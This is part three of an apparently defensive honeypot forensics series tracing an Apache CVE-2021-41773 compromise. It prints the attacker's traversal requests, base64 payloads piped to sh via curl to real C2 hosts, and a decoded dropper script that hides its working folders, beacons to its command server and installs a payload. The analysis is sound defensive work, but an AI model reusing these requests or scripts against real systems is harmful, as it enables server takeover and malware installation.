This is part three in a series. Follow these links for part one and part two.
During our triage of the UAC data from the honeypot, we noted a process hierarchy running from the deleted /var/tmp/.log/101068/.spoollog directory. Shell process PID 20645 was the parent process of PID 6388, “sleep 300”. Both processes were started on Nov 14 and ran as “daemon”, the same user as the vulnerable web server on the honeypot.
Digging deeper into the UAC data, …/live_response/process/proc/20645/environ.txt provides some more clues about how this process hierarchy started. I’m reorganizing and reproducing some of the more useful data from this file below:
REMOTE_ADDR=116.202.187.77
REMOTE_PORT=56590
HTTP_USER_AGENT=curl/7.79.1
HOME=/var/tmp/.log/101068/.spoollog/.api
PWD=/var/tmp/.log/101068/.spoollog
OLDPWD=/var/tmp
PYTHONUSERBASE=/var/tmp/.log/101068/.spoollog/.api/.mnc
REQUEST_METHOD=POST
REQUEST_URI=/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
SCRIPT_NAME=/cgi-bin/../../../../bin/sh
SCRIPT_FILENAME=/bin/sh
CONTEXT_PREFIX=/cgi-bin/
CONTEXT_DOCUMENT_ROOT=/usr/lib/cgi-bin/
You can see the typical pattern for the CVE-2021-41773 RCE exploit in the request URI. The home directory and other directory paths match the deleted directory we observed elsewhere in the UAC data. And we can see the source of the malicious request is 116.202.187.77, which according to WHOIS belongs to a German hosting provider, Hetzner.
Nov 14 – So much base64 encoded shell code
Pivoting into the honeypot web logs under /var/log/apache2, we find 80 requests from this IP. There are four requests on Nov 14:
116.202.187.77 - - [14/Nov/2021:01:10:17 +0000] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 200 9 "-" "curl/7.79.1"
116.202.187.77 - - [14/Nov/2021:01:14:04 +0000] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 200 11 "-" "curl/7.79.1"
116.202.187.77 - - [14/Nov/2021:01:25:50 +0000] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 200 5 "-" "curl/7.79.1"
116.202.187.77 - - [14/Nov/2021:03:12:39 +0000] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 200 24 "-" "curl/7.79.1"
The remaining web requests are all from Nov 27 – Dec 1.
But it’s the mod_dumpio data in the error_log that’s really interesting:
[Sun Nov 14 01:10:17.692078 2021] A=|echo;echo vulnable
[Sun Nov 14 01:14:04.802548 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin;curl -s http://116.203.212.184/1010/b64.php -u client:%@123-456@% --data-urlencode 's=aWYgWyAhICIkKHBzIGF1eCB8IGdyZXAgLXYgZ3JlcCB8IGdyZXAgJy5zcmMuc2gnKSIgXTsgdGhlbgoJcHJpbnRmICViICJubyBwcm9jZXNzXG4iCmVsc2UKCXByaW50ZiAlYiAicnVubmluZ1xuIgpmaQo=' | sh
[Sun Nov 14 01:25:50.735008 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin;curl -s http://116.203.212.184/1010/b64.php -u client:%@123-456@% --data-urlencode 's=UEFUSD0vc2JpbjovYmluOi91c3Ivc2JpbjovdXNyL2JpbjovdXNyL2xvY2FsL2JpbjtpcGF0aD0nbnVsbCc7IGZvciBsaW5lIGluICQoZmluZCAvdmFyL2xvZyAtdHlwZSBkIDI+IC9kZXYvbnVsbCk7IGRvIGlmIFsgLXcgJGxpbmUgXTsgdGhlbiBpcGF0aD0kbGluZTsgYnJlYWs7IGZpOyBkb25lOyBpZiBbICIkaXBhdGgiID0gIm51bGwiIF07IHRoZW4gaXBhdGg9JChjYXQgL2V0Yy9wYXNzd2QgfCBncmVwICJeJCh3aG9hbWkpIiB8IGN1dCAtZDogLWY2KTsgZm9yIGxpbmUgaW4gJChmaW5kICRpcGF0aCAtdHlwZSBkIDI+IC9kZXYvbnVsbCk7IGRvIGlmIFsgLXcgJGxpbmUgXTsgdGhlbiBpcGF0aD0kbGluZTsgYnJlYWs7IGZpOyBkb25lOyBpZiBbICEgLXcgJGlwYXRoIF07IHRoZW4gaXBhdGg9Jy92YXIvdG1wJzsgaWYgWyAhIC13ICRpcGF0aCBdOyB0aGVuIGlwYXRoPScvdG1wJzsgZmk7IGZpOyBmaTsgaWYgWyAhICIkKHBzIGF1eCB8IGdyZXAgLXYgZ3JlcCB8IGdyZXAgJy5zcmMuc2gnKSIgXTsgdGhlbiBjZCAkaXBhdGggJiYgaWYgWyAhIC1kICIubG9nLzEwMTA2OCIgXTsgdGhlbiBpPTEwMTAwMDt3aGlsZSBbICRpIC1uZSAxMDExMDAgXTsgZG8gaT0kKCgkaSsxKSk7IG1rZGlyIC1wIC5sb2cvJGkvLnNwb29sbG9nOyBkb25lICYmIGNkIC5sb2cvMTAxMDY4Ly5zcG9vbGxvZyAmJiBlY2hvICdhcGFjaGUnID4gLnBpbmZvICYmIENVUkw9ImN1cmwiO0RPTT0icnIuYmx1ZWhlYXZlbi5saXZlIjtvdXQ9JChjdXJsIC1zIC0tY29ubmVjdC10aW1lb3V0IDMgaHR0cDovL3JyLmJsdWVoZWF2ZW4ubGl2ZS8xMDEwL29ubGluZS5waHAgLXUgY2xpZW50OiVAMTIzLTQ1NkAlIDI+IC9kZXYvbnVsbCk7ZW5hYmxlPSQoZWNobyAkb3V0IHwgYXdrICd7c3BsaXQoJDAsYSwiLCIpOyBwcmludCBhWzFdfScpO29ubGluZT0kKGVjaG8gJG91dCB8IGF3ayAne3NwbGl0KCQwLGEsIiwiKTsgcHJpbnQgYVsyXX0nKTsgaWYgWyAhICIkZW5hYmxlIiAtZXEgIjEiIC1hICEgIiRvbmxpbmUiIC1lcSAiMSIgXTsgdGhlbiBpZmFjZXM9IiI7IGlmIFsgIiQoY29tbWFuZCAtdiBpcCAyPiAvZGV2L251bGwpIiBdOyB0aGVuIGlmYWNlcz0kKGlwIC00IC1vIGEgfCBjdXQgLWQgJyAnIC1mIDIsNyB8IGN1dCAtZCAnLycgLWYgMSB8IGF3ayAtRicgJyAne3ByaW50ICQxfScgfCB0ciAnXG4nICcgJyk7ICBlbHNlIGlmIFsgIiQoY29tbWFuZCAtdiBpZmNvbmZpZyAyPiAvZGV2L251bGwpIiBdOyB0aGVuIGlmYWNlcz0kKGlmY29uZmlnIC1hIHwgZ3JlcCBmbGFncyB8IGF3ayAne3NwbGl0KCQwLGEsIjoiKTsgcHJpbnQgYVsxXX0nIHwgdHIgJ1xuJyAnICcpOyBmaTsgZmk7IGZvciBldGggaW4gJGlmYWNlczsgZG8gb3V0PSQoY3VybCAt
[Sun Nov 14 01:25:50.735041 2021] cyAtLWludGVyZmFjZSAkZXRoIC0tY29ubmVjdC10aW1lb3V0IDMgaHR0cDovLzExNi4yMDMuMjEyLjE4NC8xMDEwL29ubGluZS5waHAgLXUgY2xpZW50OiVAMTIzLTQ1NkAlIDI+IC9kZXYvbnVsbCk7IGVuYWJsZT0kKGVjaG8gJG91dCB8IGF3ayAne3NwbGl0KCQwLGEsIiwiKTsgcHJpbnQgYVsxXX0nKTsgb25saW5lPSQoZWNobyAkb3V0IHwgYXdrICd7c3BsaXQoJDAsYSwiLCIpOyBwcmludCBhWzJdfScpOyBpZiBbICIkZW5hYmxlIiA9PSAiMSIgLWEgIiRvbmxpbmUiIC1lcSAiMSIgXTsgdGhlbiBlY2hvICIkZXRoIiA+IC5pbnRlcmZhY2U7IGJyZWFrOyBmaTsgZG9uZTsgZmk7IGlmIFsgLWYgIi5pbnRlcmZhY2UiIF07IHRoZW4gQ1VSTD0iY3VybCAtLWludGVyZmFjZSAiJChjYXQgLmludGVyZmFjZSAyPiAvZGV2L251bGwpOyBET009IjExNi4yMDMuMjEyLjE4NCI7IGZpOyAkQ1VSTCAtcyBodHRwOi8vJERPTS8xMDEwL2I2NC5waHAgLXUgY2xpZW50OiVAMTIzLTQ1NkAlIC0tZGF0YS11cmxlbmNvZGUgJ3M9VUVGVVNEMHZjMkpwYmpvdlltbHVPaTkxYzNJdmMySnBiam92ZFhOeUwySnBiam92ZFhOeUwyeHZZMkZzTDJKcGJncERWVkpNUFNKamRYSnNJZ3BFVDAwOUluSnlMbUpzZFdWb1pXRjJaVzR1YkdsMlpTSUtDbkJyYVd4c0lDMDVJQzFtSUNJdWMzSmpMbk5vSWdwd2EybHNiQ0F0T1NBdFppQWljSEJ5YjNoNUlncHZkWFE5SkNoamRYSnNJQzF6SUMwdFkyOXVibVZqZEMxMGFXMWxiM1YwSURVZ2FIUjBjRG92TDNKeUxtSnNkV1ZvWldGMlpXNHViR2wyWlM4eE1ERXdMMjl1YkdsdVpTNXdhSEFnTFhVZ1kyeHBaVzUwT2lWQU1USXpMVFExTmtBbElESStJQzlrWlhZdmJuVnNiQ2tLWlc1aFlteGxQU1FvWldOb2J5QWtiM1YwSUh3Z1lYZHJJQ2Q3YzNCc2FYUW9KREFzWVN3aUxDSXBPeUJ3Y21sdWRDQmhXekZkZlNjcENtOXViR2x1WlQwa0tHVmphRzhnSkc5MWRDQjhJR0YzYXlBbmUzTndiR2wwS0NRd0xHRXNJaXdpS1RzZ2NISnBiblFnWVZzeVhYMG5LUXBwWmlCYklDRWdJaVJsYm1GaWJHVWlJQzFsY1NBaU1TSWdMV0VnSVNBaUpHOXViR2x1WlNJZ0xXVnhJQ0l4SWlCZE95QjBhR1Z1Q2dscFptRmpaWE05SWlJS0NXbG1JRnNnSWlRb1kyOXRiV0Z1WkNBdGRpQnBjQ0F5UGlBdlpHVjJMMjUxYkd3cElpQmRPeUIwYUdWdUNna0phV1poWTJWelBTUW9hWEFnTFRRZ0xXOGdZU0I4SUdOMWRDQXRaQ0FuSUNjZ0xXWWdNaXczSUh3Z1kzVjBJQzFrSUNjdkp5QXRaaUF4SUh3Z1lYZHJJQzFHSnlBbklDZDdjSEpwYm5RZ0pERjlKeUI4SUhSeUlDZGNiaWNnSnlBbktRb0paV3h6WlFvSkNXbG1JRnNnSWlRb1kyOXRiV0Z1WkNBdGRpQnBabU52Ym1acFp5QXlQaUF2WkdWMkwyNTFiR3dwSWlCZE95QjBhR1Z1Q2drSkNXbG1ZV05sY3owa0tHbG1ZMjl1Wm1sbklDMWhJSHdnWjNKbGNDQm1iR0ZuY3lCOElHRjNheUFuZTNOd2JHbDBLQ1F3TEdFc0lqb2lLVHNnY0hKcGJuUWdZVnN4WFgwbklId2dkSElnSjF4dUp5QW5J
[Sun Nov 14 01:25:50.735078 2021] Q2NwQ2drSlpta0tDV1pwQ2dsbWIzSWdaWFJvSUdsdUlDUnBabUZqWlhNN0lHUnZDZ2tKYjNWMFBTUW9ZM1Z5YkNBdGN5QXRMV2x1ZEdWeVptRmpaU0FrWlhSb0lDMHRZMjl1Ym1WamRDMTBhVzFsYjNWMElEVWdhSFIwY0Rvdkx6RXhOaTR5TURNdU1qRXlMakU0TkM4eE1ERXdMMjl1YkdsdVpTNXdhSEFnTFhVZ1kyeHBaVzUwT2lWQU1USXpMVFExTmtBbElESStJQzlrWlhZdmJuVnNiQ2tLQ1FsbGJtRmliR1U5SkNobFkyaHZJQ1J2ZFhRZ2ZDQmhkMnNnSjN0emNHeHBkQ2drTUN4aExDSXNJaWs3SUhCeWFXNTBJR0ZiTVYxOUp5a0tDUWx2Ym14cGJtVTlKQ2hsWTJodklDUnZkWFFnZkNCaGQyc2dKM3R6Y0d4cGRDZ2tNQ3hoTENJc0lpazdJSEJ5YVc1MElHRmJNbDE5SnlrS0NRbHBaaUJiSUNJa1pXNWhZbXhsSWlBOVBTQWlNU0lnTFdFZ0lpUnZibXhwYm1VaUlEMDlJQ0l4SWlCZE95QjBhR1Z1Q2drSkNXVmphRzhnSWlSbGRHZ2lJRDRnTG1sdWRHVnlabUZqWlFvSkNRbGljbVZoYXdvSkNXWnBDZ2xrYjI1bENtWnBDZ3BwWmlCYklDMW1JQ0l1YVc1MFpYSm1ZV05sSWlCZE95QjBhR1Z1Q2dsRFZWSk1QU0pqZFhKc0lDMHRhVzUwWlhKbVlXTmxJQ0lrS0dOaGRDQXVhVzUwWlhKbVlXTmxJREkrSUM5a1pYWXZiblZzYkNrS0NVUlBUVDBpTVRFMkxqSXdNeTR5TVRJdU1UZzBJZ3BtYVFvS2IzVjBQU1FvSkVOVlVrd2dMWE1nYUhSMGNEb3ZMeVJFVDAwdk1UQXhNQzl6Y21NdWNHaHdJQzExSUdOc2FXVnVkRG9sUURFeU15MDBOVFpBSlNBeVBpQXZaR1YyTDI1MWJHd3BDbVZ1WVdKc1pUMGtLR1ZqYUc4Z0pHOTFkQ0I4SUdGM2F5QW5lM053YkdsMEtDUXdMR0VzSWl3aUtUc2djSEpwYm5RZ1lWc3hYWDBuS1FwaVlYTmxQU1FvWldOb2J5QWtiM1YwSUh3Z1lYZHJJQ2Q3YzNCc2FYUW9KREFzWVN3aUxDSXBPeUJ3Y21sdWRDQmhXekpkZlNjcENtbG1JRnNnSWlSbGJtRmliR1VpSUMxbGNTQWlNU0lnWFRzZ2RHaGxiZ29KY20wZ0xYSm1JQzV0YVc1cFkyOXVaR0V1YzJnZ0xtRndhU0F1YVhCcFpDQXVjM0JwWkNBdVkzSnZiaTV6YUNBdWMzSmpMbk5vT3lBa1ExVlNUQ0F0Y3lCb2RIUndPaTh2SkVSUFRTOHhNREV3TDJJMk5DNXdhSEFnTFhVZ1kyeHBaVzUwT2lWQU1USXpMVFExTmtBbElDMHRaR0YwWVMxMWNteGxibU52WkdVZ0luTTlKR0poYzJVaUlDMXZJQzV6Y21NdWMyZ2dNajRnTDJSbGRpOXVkV3hzSUNZbUlHTm9iVzlrSUN0NElDNXpjbU11YzJnZ1BpQXZaR1YyTDI1MWJHd2dNajRtTVFvSmMyZ2dMbk55WXk1emFDQStJQzlrWlhZdmJuVnNiQ0F5UGlZeElDWUtabWtLY20wZ0xYSm1JQzVwYm5OMFlXeHNDZz09JyAtbyAuaW5zdGFsbDsgY2htb2QgK3ggLmluc3RhbGw7IHNoIC5pbnN0YWxsID4gL2Rldi9udWxsIDI+JjEgJiBlY2hvICdEb25lJzsgZWxzZSBlY2hvICdBbHJlYWR5IGluc3RhbGwuIFN0YXJ0ZWQnOyBjZCAubG9nLzEwMTA2OC8uc3Bvb2xsb2cgJiYgc2ggLmNyb24uc2ggPiAvZGV2L251bGwgMj4mMSAmIGZp
[Sun Nov 14 01:25:50.735111 2021] OyBlbHNlIGVjaG8gJ0FscmVhZHkgaW5zdGFsbCBSdW5uaW5nJztmaQ==' | sh 2>&1
[Sun Nov 14 03:12:39.237848 2021] A=|echo;PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin;curl -s http://116.203.212.184/1010/b64.php -u client:%@123-456@% --data-urlencode 's=UEFUSD0vc2JpbjovYmluOi91c3Ivc2JpbjovdXNyL2JpbjovdXNyL2xvY2FsL2JpbjtpcGF0aD0nbnVsbCc7IGZvciBsaW5lIGluICQoZmluZCAvdmFyL2xvZyAtdHlwZSBkIDI+IC9kZXYvbnVsbCk7IGRvIGlmIFsgLXcgJGxpbmUgXTsgdGhlbiBpcGF0aD0kbGluZTsgYnJlYWs7IGZpOyBkb25lOyBpZiBbICIkaXBhdGgiID0gIm51bGwiIF07IHRoZW4gaXBhdGg9JChjYXQgL2V0Yy9wYXNzd2QgfCBncmVwICJeJCh3aG9hbWkpIiB8IGN1dCAtZDogLWY2KTsgZm9yIGxpbmUgaW4gJChmaW5kICRpcGF0aCAtdHlwZSBkIDI+IC9kZXYvbnVsbCk7IGRvIGlmIFsgLXcgJGxpbmUgXTsgdGhlbiBpcGF0aD0kbGluZTsgYnJlYWs7IGZpOyBkb25lOyBpZiBbICEgLXcgJGlwYXRoIF07IHRoZW4gaXBhdGg9Jy92YXIvdG1wJzsgaWYgWyAhIC13ICRpcGF0aCBdOyB0aGVuIGlwYXRoPScvdG1wJzsgZmk7IGZpOyBmaQppZiBbICEgIiQocHMgYXV4IHwgZ3JlcCAtdiBncmVwIHwgZ3JlcCAnLnNyYy5zaCcpIiBdOyB0aGVuIAoJY2QgJGlwYXRoCglpZiBbICEgLWYgIi5sb2cvMTAxMDY4Ly5zcG9vbGxvZy8uc3JjLnNoIiAtbyAhIC1mICIubG9nLzEwMTA2OC8uc3Bvb2xsb2cvLmNyb24uc2giIF07IHRoZW4KCQlpZiBbICEgLWQgIi5sb2cvMTAxMDY4Ly5zcG9vbGxvZyIgXTsgdGhlbiAKCQkJaT0xMDEwMDA7d2hpbGUgWyAkaSAtbmUgMTAxMTAwIF07IGRvIGk9JCgoJGkrMSkpOyBta2RpciAtcCAubG9nLyRpLy5zcG9vbGxvZzsgZG9uZQoJCWZpCgkJY2QgLmxvZy8xMDEwNjgvLnNwb29sbG9nICYmIGVjaG8gJ2FwYWNoZScgPiAucGluZm8gJiYgQ1VSTD0iY3VybCI7RE9NPSJyci5ibHVlaGVhdmVuLmxpdmUiO291dD0kKGN1cmwgLXMgLS1jb25uZWN0LXRpbWVvdXQgMyBodHRwOi8vcnIuYmx1ZWhlYXZlbi5saXZlLzEwMTAvb25saW5lLnBocCAtdSBjbGllbnQ6JUAxMjMtNDU2QCUgMj4gL2Rldi9udWxsKTtlbmFibGU9JChlY2hvICRvdXQgfCBhd2sgJ3tzcGxpdCgkMCxhLCIsIik7IHByaW50IGFbMV19Jyk7b25saW5lPSQoZWNobyAkb3V0IHwgYXdrICd7c3BsaXQoJDAsYSwiLCIpOyBwcmludCBhWzJdfScpOyBpZiBbICEgIiRlbmFibGUiIC1lcSAiMSIgLWEgISAiJG9ubGluZSIgLWVxICIxIiBdOyB0aGVuIGlmYWNlcz0iIjsgaWYgWyAiJChjb21tYW5kIC12IGlwIDI+IC9kZXYvbnVsbCkiIF07IHRoZW4gaWZhY2VzPSQoaXAgLTQgLW8gYSB8IGN1dCAtZCAnICcgLWYgMiw3IHwgY3V0IC1kICcvJyAtZiAxIHwgYXdrIC1GJyAnICd7cHJpbnQgJDF9JyB8IHRyICdcbicgJyAnKTsgIGVsc2UgaWYgWyAiJChjb21tYW5kIC12IGlmY29uZmlnIDI+IC9kZXYvbnVsbCkiIF07IHRoZW4gaWZhY2VzPSQoaWZjb25maWcgLWEg
[Sun Nov 14 03:12:39.237940 2021] fCBncmVwIGZsYWdzIHwgYXdrICd7c3BsaXQoJDAsYSwiOiIpOyBwcmludCBhWzFdfScgfCB0ciAnXG4nICcgJyk7IGZpOyBmaTsgZm9yIGV0aCBpbiAkaWZhY2VzOyBkbyBvdXQ9JChjdXJsIC1zIC0taW50ZXJmYWNlICRldGggLS1jb25uZWN0LXRpbWVvdXQgMyBodHRwOi8vMTE2LjIwMy4yMTIuMTg0LzEwMTAvb25saW5lLnBocCAtdSBjbGllbnQ6JUAxMjMtNDU2QCUgMj4gL2Rldi9udWxsKTsgZW5hYmxlPSQoZWNobyAkb3V0IHwgYXdrICd7c3BsaXQoJDAsYSwiLCIpOyBwcmludCBhWzFdfScpOyBvbmxpbmU9JChlY2hvICRvdXQgfCBhd2sgJ3tzcGxpdCgkMCxhLCIsIik7IHByaW50IGFbMl19Jyk7IGlmIFsgIiRlbmFibGUiID09ICIxIiAtYSAiJG9ubGluZSIgLWVxICIxIiBdOyB0aGVuIGVjaG8gIiRldGgiID4gLmludGVyZmFjZTsgYnJlYWs7IGZpOyBkb25lOyBmaTsgaWYgWyAtZiAiLmludGVyZmFjZSIgXTsgdGhlbiBDVVJMPSJjdXJsIC0taW50ZXJmYWNlICIkKGNhdCAuaW50ZXJmYWNlIDI+IC9kZXYvbnVsbCk7IERPTT0iMTE2LjIwMy4yMTIuMTg0IjsgZmk7ICRDVVJMIC1zIGh0dHA6Ly8kRE9NLzEwMTAvYjY0LnBocCAtdSBjbGllbnQ6JUAxMjMtNDU2QCUgLS1kYXRhLXVybGVuY29kZSAncz1VRUZVU0QwdmMySnBiam92WW1sdU9pOTFjM0l2YzJKcGJqb3ZkWE55TDJKcGJqb3ZkWE55TDJ4dlkyRnNMMkpwYmdwRFZWSk1QU0pqZFhKc0lncEVUMDA5SW5KeUxtSnNkV1ZvWldGMlpXNHViR2wyWlNJS0NuQnJhV3hzSUMwNUlDMW1JQ0l1YzNKakxuTm9JZ3B3YTJsc2JDQXRPU0F0WmlBaWNIQnliM2g1SWdwdmRYUTlKQ2hqZFhKc0lDMXpJQzB0WTI5dWJtVmpkQzEwYVcxbGIzVjBJRFVnYUhSMGNEb3ZMM0p5TG1Kc2RXVm9aV0YyWlc0dWJHbDJaUzh4TURFd0wyOXViR2x1WlM1d2FIQWdMWFVnWTJ4cFpXNTBPaVZBTVRJekxUUTFOa0FsSURJK0lDOWtaWFl2Ym5Wc2JDa0taVzVoWW14bFBTUW9aV05vYnlBa2IzVjBJSHdnWVhkcklDZDdjM0JzYVhRb0pEQXNZU3dpTENJcE95QndjbWx1ZENCaFd6RmRmU2NwQ205dWJHbHVaVDBrS0dWamFHOGdKRzkxZENCOElHRjNheUFuZTNOd2JHbDBLQ1F3TEdFc0lpd2lLVHNnY0hKcGJuUWdZVnN5WFgwbktRcHBaaUJiSUNFZ0lpUmxibUZpYkdVaUlDMWxjU0FpTVNJZ0xXRWdJU0FpSkc5dWJHbHVaU0lnTFdWeElDSXhJaUJkT3lCMGFHVnVDZ2xwWm1GalpYTTlJaUlLQ1dsbUlGc2dJaVFvWTI5dGJXRnVaQ0F0ZGlCcGNDQXlQaUF2WkdWMkwyNTFiR3dwSWlCZE95QjBhR1Z1Q2drSmFXWmhZMlZ6UFNRb2FYQWdMVFFnTFc4Z1lTQjhJR04xZENBdFpDQW5JQ2NnTFdZZ01pdzNJSHdnWTNWMElDMWtJQ2N2SnlBdFppQXhJSHdnWVhkcklDMUdKeUFuSUNkN2NISnBiblFnSkRGOUp5QjhJSFJ5SUNkY2JpY2dKeUFuS1FvSlpXeHpaUW9KQ1dsbUlGc2dJaVFvWTI5dGJXRnVaQ0F0ZGlCcFptTnZibVpwWnlBeVBpQXZaR1YyTDI1MWJHd3BJaUJkT3lCMGFHVnVDZ2tKQ1ds
[Sun Nov 14 03:12:39.237980 2021] bVlXTmxjejBrS0dsbVkyOXVabWxuSUMxaElId2daM0psY0NCbWJHRm5jeUI4SUdGM2F5QW5lM053YkdsMEtDUXdMR0VzSWpvaUtUc2djSEpwYm5RZ1lWc3hYWDBuSUh3Z2RISWdKMXh1SnlBbklDY3BDZ2tKWm1rS0NXWnBDZ2xtYjNJZ1pYUm9JR2x1SUNScFptRmpaWE03SUdSdkNna0piM1YwUFNRb1kzVnliQ0F0Y3lBdExXbHVkR1Z5Wm1GalpTQWtaWFJvSUMwdFkyOXVibVZqZEMxMGFXMWxiM1YwSURVZ2FIUjBjRG92THpFeE5pNHlNRE11TWpFeUxqRTROQzh4TURFd0wyOXViR2x1WlM1d2FIQWdMWFVnWTJ4cFpXNTBPaVZBTVRJekxUUTFOa0FsSURJK0lDOWtaWFl2Ym5Wc2JDa0tDUWxsYm1GaWJHVTlKQ2hsWTJodklDUnZkWFFnZkNCaGQyc2dKM3R6Y0d4cGRDZ2tNQ3hoTENJc0lpazdJSEJ5YVc1MElHRmJNVjE5SnlrS0NRbHZibXhwYm1VOUpDaGxZMmh2SUNSdmRYUWdmQ0JoZDJzZ0ozdHpjR3hwZENna01DeGhMQ0lzSWlrN0lIQnlhVzUwSUdGYk1sMTlKeWtLQ1FscFppQmJJQ0lrWlc1aFlteGxJaUE5UFNBaU1TSWdMV0VnSWlSdmJteHBibVVpSUQwOUlDSXhJaUJkT3lCMGFHVnVDZ2tKQ1dWamFHOGdJaVJsZEdnaUlENGdMbWx1ZEdWeVptRmpaUW9KQ1FsaWNtVmhhd29KQ1dacENnbGtiMjVsQ21acENncHBaaUJiSUMxbUlDSXVhVzUwWlhKbVlXTmxJaUJkT3lCMGFHVnVDZ2xEVlZKTVBTSmpkWEpzSUMwdGFXNTBaWEptWVdObElDSWtLR05oZENBdWFXNTBaWEptWVdObElESStJQzlrWlhZdmJuVnNiQ2tLQ1VSUFRUMGlNVEUyTGpJd015NHlNVEl1TVRnMElncG1hUW9LYjNWMFBTUW9KRU5WVWt3Z0xYTWdhSFIwY0Rvdkx5UkVUMDB2TVRBeE1DOXpjbU11Y0dod0lDMTFJR05zYVdWdWREb2xRREV5TXkwME5UWkFKU0F5UGlBdlpHVjJMMjUxYkd3cENtVnVZV0pzWlQwa0tHVmphRzhnSkc5MWRDQjhJR0YzYXlBbmUzTndiR2wwS0NRd0xHRXNJaXdpS1RzZ2NISnBiblFnWVZzeFhYMG5LUXBpWVhObFBTUW9aV05vYnlBa2IzVjBJSHdnWVhkcklDZDdjM0JzYVhRb0pEQXNZU3dpTENJcE95QndjbWx1ZENCaFd6SmRmU2NwQ21sbUlGc2dJaVJsYm1GaWJHVWlJQzFsY1NBaU1TSWdYVHNnZEdobGJnb0pjbTBnTFhKbUlDNXRhVzVwWTI5dVpHRXVjMmdnTG1Gd2FTQXVhWEJwWkNBdWMzQnBaQ0F1WTNKdmJpNXphQ0F1YzNKakxuTm9PeUFrUTFWU1RDQXRjeUJvZEhSd09pOHZKRVJQVFM4eE1ERXdMMkkyTkM1d2FIQWdMW
[Sun Nov 14 03:12:39.238012 2021] FVnWTJ4cFpXNTBPaVZBTVRJekxUUTFOa0FsSUMwdFpHRjBZUzExY214bGJtTnZaR1VnSW5NOUpHSmhjMlVpSUMxdklDNXpjbU11YzJnZ01qNGdMMlJsZGk5dWRXeHNJQ1ltSUdOb2JXOWtJQ3Q0SUM1emNtTXVjMmdnUGlBdlpHVjJMMjUxYkd3Z01qNG1NUW9KYzJnZ0xuTnlZeTV6YUNBK0lDOWtaWFl2Ym5Wc2JDQXlQaVl4SUNZS1pta0tjbTBnTFhKbUlDNXBibk4wWVd4c0NnPT0nIC1vIC5pbnN0YWxsOyBjaG1vZCAreCAuaW5zdGFsbDsgc2ggLmluc3RhbGwgPiAvZGV2L251bGwgMj4mMSAmIAoJCWVjaG8gJ0RvbmUnCgllbHNlCgkJZWNobyAnQWxyZWFkeSBpbnN0YWxsLiBTdGFydGVkJzsgY2QgLmxvZy8xMDEwNjgvLnNwb29sbG9nICYmIHNoIC5jcm9uLnNoID4gL2Rldi9udWxsIDI+JjEgJiAKCWZpCmVsc2UgCgllY2hvICdBbHJlYWR5IGluc3RhbGwgUnVubmluZycKZmkK' | sh 2>&1
After an initial check to see if the web server is vulnerable, the next three requests attempt to launch encoded scripts by bouncing the decoding off the URL hxxp://116.203.212.184/1010/b64.php. The hard-coded IP in the URL is owned by the same hosting provider as the IP of the original request. Also note the possibly unique client ID “client:%@123-456@%” in the requests.
Decoding the first request, we get back a simple script that checks to see if a process named “.src.sh” is already running:
if [ ! "$(ps aux | grep -v grep | grep '.src.sh')" ]; then
printf %b "no process\n"
else
printf %b "running\n"
fi
Then there are web requests at 01:25 and 03:12 with much larger encoded blobs. Decoding both blobs, we find essentially the same script with minor modifications. Here’s the script from the 01:25 web request, which I’ve decoded and reformatted for easier reading:
PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin;
ipath='null';
for line in $(find /var/log -type d 2> /dev/null); do
if [ -w $line ]; then
ipath=$line;
break;
fi;
done;
if [ "$ipath" = "null" ]; then
ipath=$(cat /etc/passwd | grep "^$(whoami)" | cut -d: -f6);
for line in $(find $ipath -type d 2> /dev/null); do
if [ -w $line ]; then
ipath=$line;
break;
fi;
done;
if [ ! -w $ipath ]; then
ipath='/var/tmp';
if [ ! -w $ipath ]; then
ipath='/tmp';
fi;
fi;
fi;
if [ ! "$(ps aux | grep -v grep | grep '.src.sh')" ]; then
cd $ipath &&
if [ ! -d ".log/101068" ]; then
i=101000;
while [ $i -ne 101100 ]; do
i=$(($i+1));
mkdir -p .log/$i/.spoollog;
done &&
cd .log/101068/.spoollog &&
echo 'apache' > .pinfo &&
CURL="curl";
DOM="rr.blueheaven.live";
out=$(curl -s --connect-timeout 3 http://rr.blueheaven.live/1010/online.php -u client:%@123-456@% 2> /dev/null);
enable=$(echo $out | awk '{split($0,a,","); print a[1]}');
online=$(echo $out | awk '{split($0,a,","); print a[2]}');
if [ ! "$enable" -eq "1" -a ! "$online" -eq "1" ]; then
ifaces="";
if [ "$(command -v ip 2> /dev/null)" ]; then
ifaces=$(ip -4 -o a | cut -d ' ' -f 2,7 | cut -d '/' -f 1 | awk -F' ' '{print $1}' | tr '\n' ' ');
else if [ "$(command -v ifconfig 2> /dev/null)" ]; then
ifaces=$(ifconfig -a | grep flags | awk '{split($0,a,":"); print a[1]}' | tr '\n' ' ');
fi;
fi;
for eth in $ifaces; do
out=$(curl -s --interface $eth --connect-timeout 3 http://116.203.212.184/1010/online.php -u client:%@123-456@% 2> /dev/null);
enable=$(echo $out | awk '{split($0,a,","); print a[1]}');
online=$(echo $out | awk '{split($0,a,","); print a[2]}');
if [ "$enable" == "1" -a "$online" -eq "1" ]; then
echo "$eth" > .interface;
break;
fi;
done;
fi;
if [ -f ".interface" ]; then
CURL="curl --interface "$(cat .interface 2> /dev/null);
DOM="116.203.212.184";
fi;
